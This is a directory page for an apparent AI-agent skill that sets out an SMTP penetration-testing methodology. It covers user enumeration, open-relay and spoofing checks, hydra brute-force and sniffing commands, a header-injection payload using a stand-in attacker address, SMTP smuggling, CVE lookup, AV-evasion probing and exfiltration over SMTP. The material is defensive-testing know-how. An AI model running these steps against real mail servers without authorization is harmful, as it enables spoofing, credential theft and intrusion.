SuperAPI AI Directory

smtp-pentesting

Testing & quality

View repository

Updated 10-16 09:52

About this skill

SMTP Penetration Testing Methodology (25/465/587)

In-depth Reference

  • Complete collection of SMTP commands, enumeration payloads, spoofing scripts, and injection syntax -> read references/smtp-commands.md

Overall Decision Tree

发现 25/465/587 端口开放
├─ Phase 1: 服务发现与版本识别
│   ├─ Banner 抓取 (nc / openssl)
│   ├─ EHLO 命令获取支持的扩展列表
│   ├─ 识别 MTA 软件与版本 (Postfix / Sendmail / Exchange / hMailServer)
│   └─ NTLM 认证探测 (Exchange/IIS) -> 泄露内部主机名/域名
├─ Phase 2: 用户名枚举
│   ├─ VRFY 命令 -> 直接验证用户是否存在
│   ├─ EXPN 命令 -> 展开邮件列表
│   ├─ RCPT TO 命令 -> 通过响应码判断用户存在性
│   └─ 自动化工具 (smtp-user-enum / Metasploit / Nmap)
├─ Phase 3: 开放中继测试
│   ├─ 手动测试: 从外部域发送到外部域
│   ├─ Nmap smtp-open-relay 脚本
│   └─ 判断 mynetworks 配置是否过宽
├─ Phase 4: 邮件伪造
│   ├─ 检查 SPF 记录 -> dig txt domain.com
│   ├─ 检查 DKIM -> dig selector._domainkey.domain.com TXT
│   ├─ 检查 DMARC -> dig _dmarc.domain.com TXT
│   ├─ 判断伪造可行性
│   │   ├─ 无 SPF / SPF ~all / 无 DMARC -> 高可行
│   │   ├─ DMARC p=none -> 中可行 (不拒绝)
│   │   └─ DMARC p=reject + SPF -all -> 低可行
│   └─ SMTP Smuggling -> 绕过 SEG/邮件网关
├─ Phase 5: 凭据攻击
│   ├─ 暴力破解 (hydra / Metasploit)
│   ├─ 密码喷洒 (常见弱口令)
│   └─ 嗅探明文认证 (端口 25 无 TLS)
├─ Phase 6: SMTP 命令注入
│   ├─ CRLF 注入 -> 附加额外收件人/头部
│   ├─ 头部注入 -> 通过 Web 表单注入邮件头
│   └─ SMTP Smuggling -> 利用 MTA 解析差异
└─ Phase 7: 已知漏洞
    ├─ 版本匹配 CVE 搜索
    ├─ Nmap smtp-vuln-* 脚本
    └─ 读 references/smtp-commands.md #CVE清单

Phase 1: Service Discovery and Version Identification

1.1 Banner Grabbing and Connection

连接 SMTP 服务
├─ 明文 (端口 25)
│   └─ nc -vn <IP> 25
├─ SSL/TLS (端口 465)
│   └─ openssl s_client -crlf -connect <IP>:465
├─ STARTTLS (端口 587)
│   └─ openssl s_client -starttls smtp -crlf -connect <IP>:587
└─ 获取 Banner 后判断 MTA 类型
    ├─ "Postfix" -> Linux, 检查版本
    ├─ "Sendmail" -> Linux/Unix
    ├─ "Microsoft ESMTP" -> Exchange/IIS
    ├─ "hMailServer" -> Windows, 常见于 HTB
    └─ "Exim" -> Linux, 检查 CVE

1.2 EHLO Extension Probing

# 连接后发送 EHLO 获取服务器支持的命令和扩展
# 关键关注: VRFY, EXPN, AUTH, STARTTLS, SIZE, DSN, NTLM
nmap -p25 --script smtp-commands <IP>

Key Judgments:

  • VRFY Enabled -> proceed directly to Phase 2 user enumeration
  • AUTH Supported -> can attempt credential attacks (Phase 5)
  • AUTH NTLM -> information disclosure probing (see 1.3)
  • No STARTTLS -> plaintext credentials can be sniffed

1.3 NTLM Authentication Information Disclosure

When the SMTP server supports NTLM authentication (commonly seen in Exchange/IIS), internal hostnames, domain names, and OS versions can be obtained.

# Nmap 自动化探测
nmap -p 25,587 --script smtp-ntlm-info <IP>

Disclosed Information: internal hostname, AD domain name, OS version number -- valuable for subsequent attack path planning.

1.4 Internal Server Name Disclosure

发送不完整 MAIL FROM -> 服务器可能自动补全
├─ MAIL FROM: me
│   └─ 响应: 250 2.1.0 me@PRODSERV01.somedomain.com
└─ 泄露内部主机名

1.5 MX Record Query

# 查找目标组织的邮件服务器
dig +short mx target.com

Phase 2: Username Enumeration

2.1 Enumeration Method Decision Tree

用户名枚举
├─ 方法 1: VRFY (最直接)
│   ├─ VRFY root -> 250 = 存在
│   └─ VRFY invalid -> 550 = 不存在
│   注意: 很多现代 MTA 禁用或返回统一响应
├─ 方法 2: EXPN (展开邮件列表)
│   ├─ EXPN root -> 250 展开为实际地址
│   └─ 可发现邮件列表和别名映射
│   注意: 大多数服务器已禁用
├─ 方法 3: RCPT TO (最可靠)
│   ├─ 先发送 MAIL FROM:<any@any.com>
│   ├─ RCPT TO:<user@target.com>
│   │   ├─ 250 Recipient ok = 用户存在
│   │   └─ 550 User unknown = 不存在
│   └─ 适用于 VRFY/EXPN 被禁用的场景
└─ 方法 4: 自动化工具
    ├─ smtp-user-enum -M VRFY -U users.txt -t <IP>
    ├─ smtp-user-enum -M RCPT -U users.txt -t <IP>
    ├─ Metasploit: auxiliary/scanner/smtp/smtp_enum
    └─ Nmap: nmap --script smtp-enum-users <IP>

2.2 DSN Report Exploitation

Send email to an invalid address at the target organization; the bounce (NDR) headers may disclose:

  • Internal mail server IP
  • Antivirus software information (X-Virus-Scanned)
  • Mail gateway/SEG type
  • Internal routing topology

EICAR Test: Sending the EICAR test file can probe the AV engine type for subsequent evasion.


Phase 3: Open Relay Testing

3.1 Detection Decision Tree

开放中继测试
├─ 自动化检测
│   └─ nmap -p25 --script smtp-open-relay <IP> -v
├─ 手动测试 (telnet/nc 连接后)
│   ├─ MAIL FROM:<attacker@external.com>
│   ├─ RCPT TO:<anyone@another-external.com>
│   ├─ DATA -> 写入邮件内容 -> .
│   └─ 如果 250 OK -> 确认开放中继
└─ 判断影响
    ├─ 开放中继 -> 可用于发送钓鱼邮件/垃圾邮件
    ├─ 可用于绕过 SPF (从合法 IP 发送)
    └─ 严重配置缺陷,报告中标记高危

3.2 SEG Bypass (Mail Security Gateway)

绕过邮件安全网关 (SEG)
├─ 检查所有接受的域的 MX 记录
│   ├─ dig +short mx domain.com
│   └─ 对比 MX 是否指向 SEG 还是直接指向邮件服务器
├─ 测试 <tenant>.onmicrosoft.com
│   ├─ MX 始终指向 Exchange Online
│   └─ 如未锁定 -> 发送到 user@<tenant>.onmicrosoft.com 绕过 SEG
└─ MX 不一致 -> 直接向邮件服务器投递,跳过 SEG 检查

Phase 4: Email Spoofing

4.1 Anti-Spoofing Mechanism Check

检查目标域邮件安全配置
├─ SPF 检查
│   ├─ dig txt target.com | grep spf
│   ├─ 关注结尾: -all (严格) / ~all (软拒) / ?all (中立) / +all (全允许)
│   └─ 无 SPF 记录 -> 伪造可行性高
├─ DKIM 检查
│   ├─ 需要知道 selector (从邮件头 DKIM-Signature d= s= 获取)
│   └─ dig <selector>._domainkey.target.com TXT
├─ DMARC 检查
│   ├─ dig _dmarc.target.com TXT
│   ├─ p=none -> 不执行策略,伪造可行
│   ├─ p=quarantine -> 进垃圾箱,部分可行
│   └─ p=reject -> 直接拒绝,需要更高级绕过
└─ 额外检查
    ├─ MTA-STS: dig _mta-sts.target.com TXT
    ├─ BIMI: dig default._bimi.target.com TXT
    └─ STARTTLS 支持: openssl s_client -starttls smtp -connect mx:25

4.2 Spoofing Feasibility Assessment

综合判断
├─ 高可行: 无 SPF + 无 DMARC
├─ 高可行: SPF ~all + DMARC p=none
├─ 中可行: SPF -all + DMARC p=none (被标记但不拒绝)
├─ 低可行: SPF -all + DMARC p=quarantine (进垃圾箱)
├─ 极低: SPF -all + DMARC p=reject (直接拒绝)
└─ 绕过手段
    ├─ 子域伪造: 子域可能没有独立 SPF/DMARC
    ├─ SMTP Smuggling: 利用 MTA 解析差异注入邮件
    ├─ DKIM 签名: 自己生成密钥对签名 (接收方无法验证但显示已签名)
    └─ 相似域名: 注册近似域名 (如 target-mail.com)

4.3 Sending Spoofed Emails

发送方式选择
├─ 命令行工具
│   ├─ swaks -- 最灵活的 SMTP 测试工具
│   ├─ sendEmail -- 简单发送
│   └─ Python smtplib -- 高度可定制
├─ 在线工具 (仅用于验证)
│   ├─ emkei.cz
│   └─ anonymailer.net
└─ 自动化工具
    ├─ magicspoofing -- 自动检查 SPF/DKIM/DMARC 并伪造
    └─ mailspoof -- 检查 SPF/DMARC 配置缺陷

-> read references/smtp-commands.md for complete spoofed email scripts and commands


Phase 5: Credential Attacks

5.1 Attack Path Selection

SMTP 凭据攻击
├─ 暴力破解
│   ├─ hydra -l user@target.com -P wordlist.txt smtp://<IP>
│   ├─ hydra -l user@target.com -P wordlist.txt -s 587 <IP> smtp
│   ├─ Metasploit: auxiliary/scanner/smtp/smtp_enum
│   └─ 注意: SMTP 通常无锁定策略,但要控制速率
├─ 密码喷洒
│   └─ 已枚举用户列表 + 常见弱口令逐个测试
├─ 嗅探明文凭据
│   ├─ 端口 25 无 TLS -> 可嗅探 AUTH PLAIN/LOGIN
│   └─ tcpdump -i eth0 port 25 -A | grep -i "AUTH\|LOGIN\|PASS"
└─ NTLM 哈希捕获
    ├─ 如果支持 AUTH NTLM
    └─ 可配合 Responder 捕获 NetNTLMv2 哈希

Phase 6: SMTP Command Injection

6.1 Injection Type Decision Tree

SMTP 注入场景
├─ CRLF 注入 (通过 SMTP 协议层)
│   ├─ 在 MAIL FROM 或 RCPT TO 中注入 \r\n
│   ├─ 注入额外 RCPT TO -> 添加隐藏收件人
│   └─ 注入额外头部 -> 控制邮件内容/路由
├─ 邮件头注入 (通过 Web 应用)
│   ├─ Web 联系表单的邮件发送功能
│   ├─ 在 From/Subject/CC 字段注入 \r\nBcc: attacker@evil.com
│   └─ 可用于发送任意邮件
├─ SMTP Smuggling
│   ├─ 利用不同 MTA 对消息边界的解析差异
│   ├─ 在 DATA 段中注入: \r\n.\r\nMAIL FROM:...
│   └─ 绕过 SPF/DKIM/DMARC 检查
└─ Postfix 配置利用
    ├─ /etc/postfix/master.cf 中的脚本执行
    └─ flags=Rq user=xxx argv=/path/to/script

-> read references/smtp-commands.md for injection payloads and Smuggling technique details


Phase 7: Known Vulnerabilities

7.1 Vulnerability Matching Decision Tree

SMTP MTA 版本已知
├─ Postfix
│   └─ 搜索: searchsploit postfix
├─ Sendmail
│   ├─ 老版本存在大量 RCE (Sendmail 8.x 系列)
│   └─ searchsploit sendmail
├─ Exim
│   ├─ CVE-2019-10149 (The Return of the WIZard) -> Exim 4.87-4.91 RCE
│   └─ searchsploit exim
├─ Microsoft Exchange
│   ├─ ProxyLogon (CVE-2021-26855) / ProxyShell
│   └─ 独立 skill 处理
├─ hMailServer
│   ├─ 默认凭据 / 弱加密存储
│   └─ 管理端口 7000 (单独测试)
├─ OpenSMTPD
│   ├─ CVE-2020-7247 -> RCE (OpenSMTPD < 6.6.2)
│   └─ searchsploit opensmtpd
└─ 批量漏洞扫描
    ├─ nmap --script smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 <IP>
    └─ nmap --script=smtp-commands,smtp-enum-users,smtp-vuln* -p 25 <IP>

7.2 Nmap SMTP Vulnerability Scripts

# 全面 SMTP 漏洞扫描
nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 <IP>

-> read references/smtp-commands.md #CVE list for detailed vulnerability information and exploitation methods


Postfix Configuration Audit (Linux Targets)

After gaining access, check the Postfix configuration file for dangerous settings:

Configuration Item Risk Description
mynetworks = 0.0.0.0/0 Open relay, allows email to be sent from any IP
smtpd_relay_restrictions is empty No relay restrictions
smtpd_recipient_restrictions permissive Insufficient recipient restrictions
disable_vrfy_command = no VRFY user enumeration available
smtpd_tls_security_level = none No TLS, credentials transmitted in plaintext

Key Configuration Files:

  • /etc/postfix/main.cf -- main configuration
  • /etc/postfix/master.cf -- service definitions (may contain script execution)
  • /etc/aliases -- mail aliases (may disclose user information)
  • sendmail.cf / submit.cf -- Sendmail configuration

Email header information gathering

When it is possible to make the target send an email (such as through a web contact form):

邮件头分析
├─ 获取邮件头的途径
│   ├─ 让目标通过联系表单发邮件给你
│   ├─ 发送到不存在地址触发 NDR 退信
│   └─ 发送 EICAR 测试文件触发 AV 通知
├─ 可获取的信息
│   ├─ 内部 IP 地址和网络拓扑
│   ├─ 邮件服务器软件和版本
│   ├─ 反病毒/反垃圾邮件引擎 (X-Virus-Scanned)
│   ├─ 邮件网关/SEG 类型
│   └─ 内部路由路径 (Received 头)
└─ 利用价值
    ├─ 发现内部主机 -> 可用于后续攻击
    └─ 识别 AV 引擎 -> 针对性规避

Data exfiltration (via SMTP)

When other outbound channels are blocked, SMTP can serve as a data exfiltration channel:

SMTP 数据外传
├─ 目标可出站到端口 25 -> 直接 SMTP 外传
├─ 编码数据为邮件正文或附件
└─ 通过合法邮件服务器中继 (如果是开放中继)